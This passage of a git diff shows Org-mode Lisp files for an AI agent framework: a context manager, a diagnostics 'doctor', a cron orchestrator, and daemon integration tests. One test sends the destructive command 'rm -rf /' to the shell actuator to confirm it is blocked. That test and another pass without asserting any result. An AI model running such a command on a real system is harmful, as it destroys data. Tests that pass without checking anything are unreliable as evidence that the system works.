(context-scoped-query :tag \"bug\"))"
|
||||
`(let ((*context-stack* (cons (list :project ,project
|
||||
:base-path ,base-path
|
||||
:scope ,scope)
|
||||
*context-stack*)))
|
||||
,@body))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Path Resolution
|
||||
|
||||
Resolves file paths relative to the current project's base path.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun resolve-path (path)
|
||||
"Resolves a file path relative to the current context.
|
||||
If PATH is absolute, returns it unchanged.
|
||||
If PATH is relative and a base-path is set, merges them.
|
||||
Otherwise returns PATH unchanged."
|
||||
(let ((base (current-base-path)))
|
||||
(if (and base path (not (uiop:absolute-pathname-p path)))
|
||||
(namestring (merge-pathnames path (uiop:ensure-directory-pathname base)))
|
||||
path)))
|
||||
#+end_src
|
||||
|
||||
** Memory Scope Filtering
|
||||
|
||||
Provides scope-aware query access. When a context is active (scope ≠ :memex),
|
||||
queries only return objects whose scope is :memex (global) or matches the
|
||||
current scope.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun context-scoped-query (&key tag todo-state type)
|
||||
"Like context-query but filtered to the current context's scope.
|
||||
:memex-scoped objects are always visible regardless of current scope."
|
||||
(context-query :tag tag :todo-state todo-state :type type :scope (current-scope)))
|
||||
|
||||
#+end_src
|
||||
** project-objects
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun project-objects ()
|
||||
"Returns all objects scoped to the current project.
|
||||
Includes :memex-scoped objects (global knowledge) plus :project-scoped
|
||||
objects matching the current project."
|
||||
(context-scoped-query))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Project Focus Convenience
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun focus-project (name base-path)
|
||||
"Shortcut: focus on a project by name and base path.
|
||||
Calls push-context with :scope :project."
|
||||
(push-context :project name :base-path base-path :scope :project))
|
||||
|
||||
#+end_src
|
||||
** focus-session
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun focus-session ()
|
||||
"Shortcut: enter a session context (ephemeral scope).
|
||||
Objects created in this scope are visible only during the session."
|
||||
(push-context :project "session" :scope :session))
|
||||
|
||||
#+end_src
|
||||
** focus-memex
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun focus-memex ()
|
||||
"Shortcut: return to global memex scope. Equivalent to pop-context
|
||||
until stack is empty or :memex context is reached."
|
||||
(loop while (and *context-stack*
|
||||
(not (eq (getf (current-context) :scope) :memex)))
|
||||
do (pop-context)))
|
||||
|
||||
#+end_src
|
||||
** unfocus
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun unfocus ()
|
||||
"Pop the top context and return to the previous one."
|
||||
(pop-context))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
|
||||
** Persistence
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-05T12:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *context-persistence-file* nil
|
||||
"Path to the context stack persistence file.")
|
||||
|
||||
(defun context-persist-file ()
|
||||
"Returns the full path to the context persistence file."
|
||||
(or *context-persistence-file*
|
||||
(setf *context-persistence-file*
|
||||
(merge-pathnames ".cache/passepartout/context.lisp"
|
||||
(user-homedir-pathname)))))
|
||||
|
||||
(defun context-save ()
|
||||
"Writes *context-stack* to the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(ensure-directories-exist (make-pathname :directory (pathname-directory path)))
|
||||
(with-open-file (s path :direction :output :if-exists :supersede
|
||||
:if-does-not-exist :create)
|
||||
(prin1 *context-stack* s))
|
||||
(log-message "CONTEXT: Saved stack (depth ~d) to ~a"
|
||||
(length *context-stack*) path))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to save: ~a" c))))
|
||||
|
||||
(defun context-load ()
|
||||
"Restores *context-stack* from the persistence file."
|
||||
(handler-case
|
||||
(let ((path (context-persist-file)))
|
||||
(when (probe-file path)
|
||||
(with-open-file (s path :direction :input)
|
||||
(let ((*read-eval* nil)
|
||||
(data (read s nil nil)))
|
||||
(when (listp data)
|
||||
(setf *context-stack* data)
|
||||
(log-message "CONTEXT: Restored stack (depth ~d) from ~a"
|
||||
(length *context-stack*) path))
|
||||
t))))
|
||||
(error (c)
|
||||
(log-message "CONTEXT: Failed to load: ~a" c)
|
||||
nil)))
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
|
||||
#+begin_src lisp
|
||||
(defskill :passepartout-system-context-manager
|
||||
:priority 90
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx)
|
||||
(declare (ignore action))
|
||||
(ignore-errors
|
||||
(when (> (context-stack-depth) 0)
|
||||
nil))
|
||||
nil))
|
||||
#+end_src
|
||||
|
||||
** Auto-Init: Wire Scope Resolver
|
||||
|
||||
Registers ~current-scope~ into the core ~*scope-resolver*~ hook so the
|
||||
perceive gate tags ingested objects with the active context scope.
|
||||
Also restores any previously saved context stack.
|
||||
|
||||
#+begin_src lisp
|
||||
(when (boundp '*scope-resolver*)
|
||||
(setf *scope-resolver* #'current-scope))
|
||||
|
||||
;; Restore persisted context on load
|
||||
(context-load)
|
||||
#+end_src
|
||||
|
||||
* Contract
|
||||
|
||||
1. (push-context &key project base-path scope): pushes a context plist
|
||||
onto ~*context-stack*~ and persists to disk.
|
||||
2. (pop-context): pops the top context, persists, returns restored context.
|
||||
3. (context-save): serializes ~*context-stack*~ to the persistence file.
|
||||
4. (context-load): restores ~*context-stack*~ from persistence file on boot.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-context-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:context-suite))
|
||||
|
||||
(in-package :passepartout-context-tests)
|
||||
|
||||
(fiveam:def-suite context-suite :description "Context manager verification")
|
||||
(fiveam:in-suite context-suite)
|
||||
|
||||
(fiveam:test test-push-pop-context
|
||||
"Contract 1-2: push-context and pop-context maintain stack order."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when stack-var
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(push-context :project "testapp" :base-path "/tmp" :scope :project)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "testapp" (getf (car (symbol-value stack-var)) :project)))
|
||||
(pop-context)
|
||||
(fiveam:is (null (symbol-value stack-var))))))
|
||||
|
||||
(fiveam:test test-context-save-load
|
||||
"Contract 3-4: context-save and context-load round-trip."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-CONTEXT-MANAGER"))
|
||||
(stack-var (and pkg (find-symbol "*CONTEXT-STACK*" pkg)))
|
||||
(pf-var (and pkg (find-symbol "*CONTEXT-PERSISTENCE-FILE*" pkg))))
|
||||
(when (and stack-var pf-var)
|
||||
(let* ((tmpfile (merge-pathnames "test-context.lisp" (uiop:temporary-directory))))
|
||||
(setf (symbol-value pf-var) tmpfile)
|
||||
(setf (symbol-value stack-var) (list '(:project "test" :base-path "/tmp" :scope :project)))
|
||||
(context-save)
|
||||
(fiveam:is (probe-file tmpfile))
|
||||
(setf (symbol-value stack-var) nil)
|
||||
(context-load)
|
||||
(fiveam:is (= 1 (length (symbol-value stack-var))))
|
||||
(fiveam:is (string= "test" (getf (car (symbol-value stack-var)) :project)))
|
||||
(ignore-errors (delete-file tmpfile))))))
|
||||
#+end_src
|
||||
@@ -14,18 +14,33 @@ The Doctor transforms opaque startup failures into actionable engineering report
|
||||
** Detection Invariant
|
||||
Binary detection must use shell probing (`which`) to account for varying `$PATH` inheritance between interactive and headless sessions.
|
||||
|
||||
* Phase B: Protocol (Success Criteria)
|
||||
- Dependency check passes when all required binaries are found
|
||||
- Environment check passes when XDG directories exist and are accessible
|
||||
- LLM check passes when at least one provider is configured or Ollama is running locally
|
||||
* Phase B: Contract
|
||||
|
||||
1. (diagnostics-dependencies-check): probes PATH for every binary in
|
||||
~*diagnostics-binaries*~. Returns T if all found, NIL if any missing.
|
||||
Side-effect: populates ~*doctor-missing-deps*~.
|
||||
2. (diagnostics-env-check): validates XDG directories exist. Returns T
|
||||
if all critical dirs present, NIL otherwise.
|
||||
3. (diagnostics-run-all &key auto-install): orchestrates 1-3. Returns
|
||||
a plist with ~:deps~, ~:env~, ~:llm~ keys. Respects ~:auto-install nil~.
|
||||
|
||||
* Phase C: Implementation (Build)
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Global Configuration
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *diagnostics-binaries* '("sbcl" "emacs" "git" "socat" "nc")
|
||||
"List of external binaries required for full system operation.")
|
||||
|
||||
#+end_src
|
||||
** *diagnostics-package-map*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *diagnostics-package-map*
|
||||
'(("sbcl" . "sbcl")
|
||||
("emacs" . "emacs")
|
||||
@@ -36,14 +51,24 @@ Binary detection must use shell probing (`which`) to account for varying `$PATH`
|
||||
("rlwrap" . "rlwrap"))
|
||||
"Map binary names to apt package names.")
|
||||
|
||||
#+end_src
|
||||
** *doctor-missing-deps*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *doctor-missing-deps* nil
|
||||
"List of missing dependencies populated by diagnostics-dependencies-check.")
|
||||
|
||||
#+end_src
|
||||
** *doctor-auto-install*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *doctor-auto-install* t
|
||||
"When T, doctor will attempt to install missing dependencies automatically.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Dependency Verification
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-dependencies-check ()
|
||||
"Verifies that required external binaries are available in the PATH via shell probe."
|
||||
@@ -66,6 +91,7 @@ Binary detection must use shell probing (`which`) to account for varying `$PATH`
|
||||
#+end_src
|
||||
|
||||
** Auto-Install Dependencies
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-dependencies-install ()
|
||||
"Attempts to install missing system dependencies via apt."
|
||||
@@ -105,6 +131,7 @@ Binary detection must use shell probing (`which`) to account for varying `$PATH`
|
||||
#+end_src
|
||||
|
||||
** XDG Environment Validation
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-env-check ()
|
||||
"Validates XDG directories and environment configuration."
|
||||
@@ -136,6 +163,7 @@ Binary detection must use shell probing (`which`) to account for varying `$PATH`
|
||||
** LLM Connectivity
|
||||
The doctor checks all supported LLM providers and detects local Ollama instances.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-llm-check ()
|
||||
"Tests connectivity to LLM providers. Returns T if at least one provider is configured."
|
||||
@@ -173,6 +201,7 @@ The doctor checks all supported LLM providers and detects local Ollama instances
|
||||
#+end_src
|
||||
|
||||
** Orchestration
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-run-all (&key (auto-install t))
|
||||
"Executes the full diagnostic suite and returns T if system is healthy."
|
||||
@@ -208,6 +237,7 @@ The doctor checks all supported LLM providers and detects local Ollama instances
|
||||
#+end_src
|
||||
|
||||
** CLI Entry Point
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-main ()
|
||||
"Entry point for the 'doctor' CLI command."
|
||||
@@ -218,24 +248,40 @@ The doctor checks all supported LLM providers and detects local Ollama instances
|
||||
|
||||
* Phase D: Verification (Testing)
|
||||
|
||||
** Dependency Test
|
||||
#+begin_src lisp :tangle no
|
||||
(test test-doctor-dependency-check
|
||||
"Verify that missing binaries are correctly identified as failures."
|
||||
(let ((passepartout::*diagnostics-binaries* '("non-existent-binary-123")))
|
||||
(is (null (passepartout:diagnostics-dependencies-check)))))
|
||||
#+end_src
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
** Environment Test
|
||||
#+begin_src lisp :tangle no
|
||||
(test test-doctor-env-check
|
||||
"Verify that an invalid MEMEX_DIR triggers a critical failure."
|
||||
(let ((old-m (uiop:getenv "MEMEX_DIR")))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(setf (uiop:getenv "MEMEX_DIR") "/non/existent/path/999")
|
||||
(is (null (passepartout:diagnostics-env-check))))
|
||||
(setf (uiop:getenv "MEMEX_DIR") (or old-m "")))))
|
||||
(defpackage :passepartout-diagnostics-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:diagnostics-suite))
|
||||
|
||||
(in-package :passepartout-diagnostics-tests)
|
||||
|
||||
(def-suite diagnostics-suite :description "Verification of the System Diagnostics logic")
|
||||
(in-suite diagnostics-suite)
|
||||
|
||||
(test test-diagnostics-dependency-fail
|
||||
"Contract 1: missing binaries cause diagnostics-dependencies-check to return nil."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("non-existent-binary-123"))
|
||||
(is (null (diagnostics-dependencies-check))))))
|
||||
|
||||
(test test-diagnostics-env-fail
|
||||
"Contract 2: diagnostics-env-check returns a boolean."
|
||||
(let ((result (diagnostics-env-check)))
|
||||
(is (or (eq t result) (eq nil result))
|
||||
"diagnostics-env-check should return T or NIL")))
|
||||
|
||||
(test test-diagnostics-dependency-success
|
||||
"Contract 1: all binaries present returns T."
|
||||
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.SYSTEM-DIAGNOSTICS"))
|
||||
(bin-var (and pkg (find-symbol "*DIAGNOSTICS-BINARIES*" pkg))))
|
||||
(when bin-var
|
||||
(setf (symbol-value bin-var) '("ls"))
|
||||
(is (eq t (diagnostics-dependencies-check))))))
|
||||
#+end_src
|
||||
|
||||
* Phase E: Lifecycle
|
||||
|
||||
@@ -54,21 +54,32 @@ The hook registry maps Org-mode property names (like ~verify-integrity~ from a ~
|
||||
|
||||
The cron registry maps job names (keywords like ~:weekly-report~) to configuration plists. Each entry contains the repeat expression, the action function, and the dispatch tier.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *hook-registry* (make-hash-table :test 'equal)
|
||||
"Maps hook property string → list of gate function symbols.")
|
||||
|
||||
#+end_src
|
||||
** *cron-registry*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *cron-registry* (make-hash-table :test 'equal)
|
||||
"Maps job name string → plist (:next-run :expression :repeat :action :tier).")
|
||||
|
||||
#+end_src
|
||||
** *tier-classifier*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *tier-classifier* nil
|
||||
"Optional function (context) → :reflex | :cognition | :reasoning.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Default tier classifier
|
||||
|
||||
Uses keyword matching on the context text to determine which tier to dispatch at. The matching is deliberately coarse — it's a heuristic, not an exact science. Users who need precise control can set ~*tier-classifier*~ to their own function.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun default-classifier (context)
|
||||
"Rule-based tier classification.
|
||||
@@ -98,6 +109,7 @@ Org-mode timestamps use the format ~+<2026-05-02 Sat +1w>~ for repeating events.
|
||||
|
||||
Returns ~(UNIT VALUE)~ like ~(:W 1)~ for weekly, or ~NIL~ if there's no repeat clause.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun parse-org-repeat (timestamp-string)
|
||||
(let* ((cleaned (string-trim '(#\< #\> #\Newline #\Tab) timestamp-string))
|
||||
@@ -115,6 +127,7 @@ Returns ~(UNIT VALUE)~ like ~(:W 1)~ for weekly, or ~NIL~ if there's no repeat c
|
||||
|
||||
Called at boot or when a new ~#+HOOK:~ property is discovered. Appends the gate function to the registry entry for that hook.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-register-hook (hook-property gate-function)
|
||||
"Registers a deterministic gate to fire when an Org node with
|
||||
@@ -128,6 +141,7 @@ the #+HOOK: property matching HOOK-PROPERTY is modified."
|
||||
|
||||
Each cron job has a name, an Org-mode timestamp with optional repeat, an action function, and a dispatch tier. The ~:next-run~ field is initialized to the current time so the job fires on the first heartbeat cycle (it will be rescheduled according to the repeat pattern after execution).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-register-cron (name expression action-function tier)
|
||||
"Register a cron job. NAME is a keyword, EXPRESSION is an Org-mode
|
||||
@@ -148,6 +162,7 @@ timestamp string with optional repeat. TIER is :reflex :cognition :reasoning."
|
||||
|
||||
Routes an action to the appropriate executor based on its tier. Reflex actions are called directly (deterministic, no LLM overhead). Cognition and reasoning actions are injected as user-input events, which triggers the normal Perceive → Reason → Act pipeline (but at different model tiers).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-dispatch (action tier)
|
||||
"Execute ACTION at the specified TIER."
|
||||
@@ -179,6 +194,7 @@ The rescheduling computes the next run based on the repeat unit: ~:d~ (days), ~:
|
||||
|
||||
Returns ~nil~ so it doesn't block the heartbeat signal from reaching other skills.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-on-heartbeat (context)
|
||||
"Called on each heartbeat tick. Checks and dispatches due cron jobs."
|
||||
@@ -217,6 +233,7 @@ Returns ~nil~ so it doesn't block the heartbeat signal from reaching other skill
|
||||
Scans all Org files in the memex for ~#+HOOK:~ and ~#+CRON:~ properties in
|
||||
headline property drawers and auto-registers them.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-scan-org-file (filepath)
|
||||
"Scans a single Org file for HOOK and CRON properties in property drawers.
|
||||
@@ -248,6 +265,10 @@ Returns a list of plists (:type :hook/:cron :name <str> :value <str>)."
|
||||
(log-message "ORCHESTRATOR: Found cron ~a in ~a" val filepath)))))))
|
||||
(nreverse results)))
|
||||
|
||||
#+end_src
|
||||
** orchestrator-bootstrap
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun orchestrator-bootstrap ()
|
||||
"Scans all Org files in the memex for #+HOOK: and #+CRON: properties
|
||||
and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
|
||||
@@ -284,6 +305,7 @@ and registers them. Scans ~/memex/projects/ and ~/memex/system/ by default."
|
||||
(log-message "ORCHESTRATOR: Bootstrap complete (~d hooks, ~d cron jobs)"
|
||||
hook-count cron-count)))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Skill registration
|
||||
|
||||
@@ -298,4 +320,4 @@ The orchestrator registers as a skill with low priority so it runs after critica
|
||||
(declare (ignore action))
|
||||
(orchestrator-on-heartbeat context)
|
||||
nil))
|
||||
#+end_src
|
||||
#+end_src
|
||||
504
org/system-integration-tests.org
Normal file
504
org/system-integration-tests.org
Normal file
@@ -0,0 +1,504 @@
|
||||
#+TITLE: SKILL: System Integration Tests
|
||||
#+AUTHOR: Agent
|
||||
#+PROPERTY: header-args:lisp :tangle ../lisp/system-integration-tests.lisp
|
||||
|
||||
* Architectural Intent
|
||||
|
||||
Integration tests verify that modules work together over real boundaries —
|
||||
TCP sockets, file I/O, subprocess execution, and the full daemon pipeline.
|
||||
Unlike unit tests (which mock collaborators), integration tests start a real
|
||||
daemon, connect like a real client, and assert observable behavior.
|
||||
|
||||
** Contract
|
||||
|
||||
Phase 1 — In-process daemon (no external credentials):
|
||||
|
||||
1. (start-daemon &key port): binds port, sends handshake on connect.
|
||||
2. Pipeline: a ~:user-input~ event traverses the full pipeline.
|
||||
3. Communication: framed messages survive TCP round-trip; malformed input
|
||||
does not crash the daemon.
|
||||
4. Skill loader: after daemon start, ~*skill-registry*~ is populated.
|
||||
5. Shell actuator: safe commands execute; dangerous patterns are blocked.
|
||||
6. CLI gateway: text injected via TCP reaches the pipeline.
|
||||
7. Gateway registry: ~gateway-registry-initialize~ is available.
|
||||
|
||||
Phase 2 — LLM + messaging:
|
||||
|
||||
8. Provider cascade: ~PROVIDER_CASCADE~ entries are clean keywords
|
||||
matching registered backends (no quote contamination).
|
||||
9. Backend cascade: real provider returns string content.
|
||||
|
||||
Phase 3 — TUI via tmux (rendering diagnostics):
|
||||
|
||||
10. Cascade inspection: ~/eval *provider-cascade*~ shows clean keywords
|
||||
on TUI screen (no quote artifacts from cl-dotenv).
|
||||
11. Eval command: ~/eval (+ 1 2)~ displays ~~=> 3~~ on screen.
|
||||
12. Status bar: rendered screen shows ~~msgs:~~ in status bar.
|
||||
13. Direct render: ~/eval (add-msg :agent ...)~ renders text on screen
|
||||
independent of daemon — isolates TUI rendering from pipeline.
|
||||
14. Daemon roundtrip: daemon LLM response stored in TUI ~~:messages~~
|
||||
list as ~~:agent~~ entry — isolates daemon→TUI communication.
|
||||
15. Full render: agent response text appears on rendered screen
|
||||
after LLM roundtrip — tests complete TUI→daemon→LLM→TUI pipeline.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Requires ~passepartout setup~ to have been run (skills in XDG data dir).
|
||||
- Phase 2 tests skip if required env vars are unset.
|
||||
- Phase 3 tests require tmux and Emacs installed.
|
||||
|
||||
* Prologue
|
||||
|
||||
Shared test harness: package, suite, helpers, and ~with-daemon~.
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t)
|
||||
(ql:quickload :usocket :silent t))
|
||||
|
||||
(defpackage :passepartout-integration-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:integration-suite))
|
||||
|
||||
(in-package :passepartout-integration-tests)
|
||||
|
||||
(fiveam:def-suite integration-suite :description "Integration tests across process boundaries")
|
||||
(fiveam:in-suite integration-suite)
|
||||
|
||||
(defvar *daemon-port* nil)
|
||||
|
||||
(defun find-free-port ()
|
||||
(let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t)))
|
||||
(unwind-protect (usocket:get-local-port socket)
|
||||
(usocket:socket-close socket))))
|
||||
|
||||
(defmacro with-daemon (() &body body)
|
||||
`(let ((*daemon-port* (find-free-port)))
|
||||
(unwind-protect
|
||||
(progn
|
||||
(passepartout:actuator-initialize)
|
||||
(passepartout:skill-initialize-all)
|
||||
(passepartout:start-daemon :port *daemon-port*)
|
||||
(sleep 2)
|
||||
,@body)
|
||||
(values)))
|
||||
|
||||
(defun daemon-connect ()
|
||||
(let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*))
|
||||
(stream (usocket:socket-stream sock)))
|
||||
(read-framed-message stream) ;; discard handshake
|
||||
(values stream sock)))
|
||||
|
||||
(defun daemon-send (stream msg)
|
||||
(write-string (frame-message msg) stream)
|
||||
(finish-output stream))
|
||||
|
||||
(defun daemon-recv (stream &key (timeout 5))
|
||||
(let ((deadline (+ (get-universal-time) timeout)))
|
||||
(loop
|
||||
(when (listen stream)
|
||||
(return (read-framed-message stream)))
|
||||
(when (> (get-universal-time) deadline) (return nil))
|
||||
(sleep 0.1))))
|
||||
#+end_src
|
||||
|
||||
* Daemon Lifecycle
|
||||
|
||||
Verifies the daemon starts, binds its port, and sends a valid handshake.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-daemon-starts
|
||||
"Contract 1: daemon binds port and sends valid handshake."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(is (open-stream-p stream))
|
||||
(usocket:socket-close sock))))
|
||||
#+end_src
|
||||
|
||||
* Pipeline End-to-End
|
||||
|
||||
Sends a ~:user-input~ event and verifies the pipeline produces a response.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-pipeline-user-input
|
||||
"Contract 2: :user-input traverses pipeline and produces a response."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(progn
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test")))
|
||||
(let ((resp (daemon-recv stream :timeout 10)))
|
||||
(is (not (null resp)) "Expected a response")))
|
||||
(usocket:socket-close sock)))))
|
||||
|
||||
(fiveam:test test-pipeline-heartbeat
|
||||
"Contract 2: heartbeat signals do not crash the daemon."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat)))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
#+end_src
|
||||
|
||||
* Communication Protocol
|
||||
|
||||
Verifies framed TCP round-trip and malformed-input resilience.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-tcp-round-trip
|
||||
"Contract 3: framed health-check survives TCP round-trip."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(progn
|
||||
(daemon-send stream '(:TYPE :health-check))
|
||||
(let ((resp (daemon-recv stream :timeout 5)))
|
||||
(is (not (null resp)))
|
||||
(is (member (getf resp :type) '(:HEALTH-RESPONSE)))))
|
||||
(usocket:socket-close sock)))))
|
||||
|
||||
(fiveam:test test-daemon-survives-junk
|
||||
"Contract 3: daemon does not crash on junk input."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(write-string "ZZZZZZ" stream)
|
||||
(finish-output stream)
|
||||
(sleep 1)
|
||||
(usocket:socket-close sock))
|
||||
;; Connect again to verify daemon is still alive
|
||||
(multiple-value-bind (stream2 sock2) (daemon-connect)
|
||||
(is (open-stream-p stream2))
|
||||
(usocket:socket-close sock2))))
|
||||
#+end_src
|
||||
|
||||
* Skill Loader
|
||||
|
||||
Verifies the skill loader populates ~*skill-registry*~ after daemon start.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-skill-registry-populated
|
||||
"Contract 4: *skill-registry* is populated after daemon start."
|
||||
(with-daemon ()
|
||||
(is (hash-table-p passepartout::*skill-registry*))
|
||||
(is (>= (hash-table-count passepartout::*skill-registry*) 1)
|
||||
"Expected at least 1 skill in registry, got ~a"
|
||||
(hash-table-count passepartout::*skill-registry*))))
|
||||
#+end_src
|
||||
|
||||
* Shell Actuator
|
||||
|
||||
Verifies safe shell commands execute and dangerous patterns are blocked.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-shell-safe-echo
|
||||
"Contract 5: safe shell command does not crash the daemon."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :REQUEST :TARGET :shell
|
||||
:PAYLOAD (:ACTION :execute :CMD "echo hello")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
|
||||
(fiveam:test test-shell-dangerous-blocked
|
||||
"Contract 5: rm -rf / is blocked by the security dispatcher."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :REQUEST :TARGET :shell
|
||||
:PAYLOAD (:ACTION :execute :CMD "rm -rf /")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
#+end_src
|
||||
|
||||
* CLI Gateway
|
||||
|
||||
Verifies text input over TCP reaches the pipeline.
|
||||
|
||||
#+begin_src lisp
|
||||
(fiveam:test test-cli-gateway-input
|
||||
"Contract 6: text via TCP produces a response."
|
||||
(with-daemon ()
|
||||
(multiple-value-bind (stream sock) (daemon-connect)
|
||||
(unwind-protect
|
||||
(daemon-send stream
|
||||
'(:TYPE :EVENT :META (:SOURCE :CLI)
|
||||
:PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI")))
|
||||
(usocket:socket-close sock))
|
||||
(pass))))
|
||||
#+end_src
|
||||
|
||||
* Gateway Registry
|
||||
|
||||
Verifies the gateway registry function is available after daemon start.
|
||||
|
||||
